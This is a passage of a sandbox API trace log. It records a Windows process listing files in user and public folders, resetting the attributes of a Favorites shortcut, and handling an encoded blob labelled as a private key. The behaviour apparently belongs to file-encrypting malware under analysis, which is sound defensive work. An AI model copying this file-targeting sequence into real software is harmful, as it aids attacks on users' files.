ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.345] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.345] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.345] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.345] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.345] GetLastError () returned 0x12 [0172.345] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.346] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0172.346] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music")) returned 0x11 [0172.346] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0172.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.346] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.347] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.347] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.347] GetLastError () returned 0x12 [0172.347] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.347] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.347] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.347] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.347] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.347] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.347] GetLastError () returned 0x12 [0172.347] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0172.348] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures")) returned 0x11 [0172.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0172.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.348] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.348] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.348] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.348] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.348] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.348] GetLastError () returned 0x12 [0172.348] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.348] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.348] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.349] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.349] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.349] GetLastError () returned 0x12 [0172.349] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.349] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0172.349] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Downloads" (normalized: "c:\\users\\fd1hvy\\downloads")) returned 0x11 [0172.349] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0172.349] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.349] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.349] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.349] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.349] GetLastError () returned 0x12 [0172.349] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.349] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.350] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.350] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.350] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.350] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.350] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.350] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.350] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.350] GetLastError () returned 0x12 [0172.350] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.350] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Favorites") returned 1 [0172.352] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites" (normalized: "c:\\users\\fd1hvy\\favorites")) returned 0x11 [0172.352] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Favorites") returned 1 [0172.352] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.352] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.352] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0172.352] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.352] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0172.353] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url")) returned 0x20 [0172.353] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", dwFileAttributes=0x80) returned 1 [0172.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6Ls